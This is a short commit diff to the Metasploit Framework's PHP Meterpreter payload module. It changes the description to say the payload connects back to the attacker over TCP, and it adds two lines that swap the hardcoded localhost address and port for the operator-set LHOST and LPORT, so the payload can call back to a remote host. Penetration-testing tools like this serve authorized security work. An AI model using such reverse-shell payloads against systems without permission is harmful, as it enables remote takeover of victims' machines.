make it work for more than localhost...
git-svn-id: file:///home/svn/framework3/trunk@9401 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
f974f59c32
commit
9dc298f56d
|
@ -23,7 +23,7 @@ module Metasploit3
|
|||
super(update_info(info,
|
||||
'Name' => 'PHP Meterpreter',
|
||||
'Version' => '$Revision: 8984 $',
|
||||
'Description' => 'Run a meterpreter server in PHP',
|
||||
'Description' => 'Run a meterpreter server in PHP that connects to the attacker over TCP',
|
||||
'Author' => ['egypt'],
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
|
@ -37,6 +37,8 @@ module Metasploit3
|
|||
met = File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
met.gsub!("127.0.0.1", datastore['LHOST'])
|
||||
met.gsub!("4444", datastore['LPORT'])
|
||||
met
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue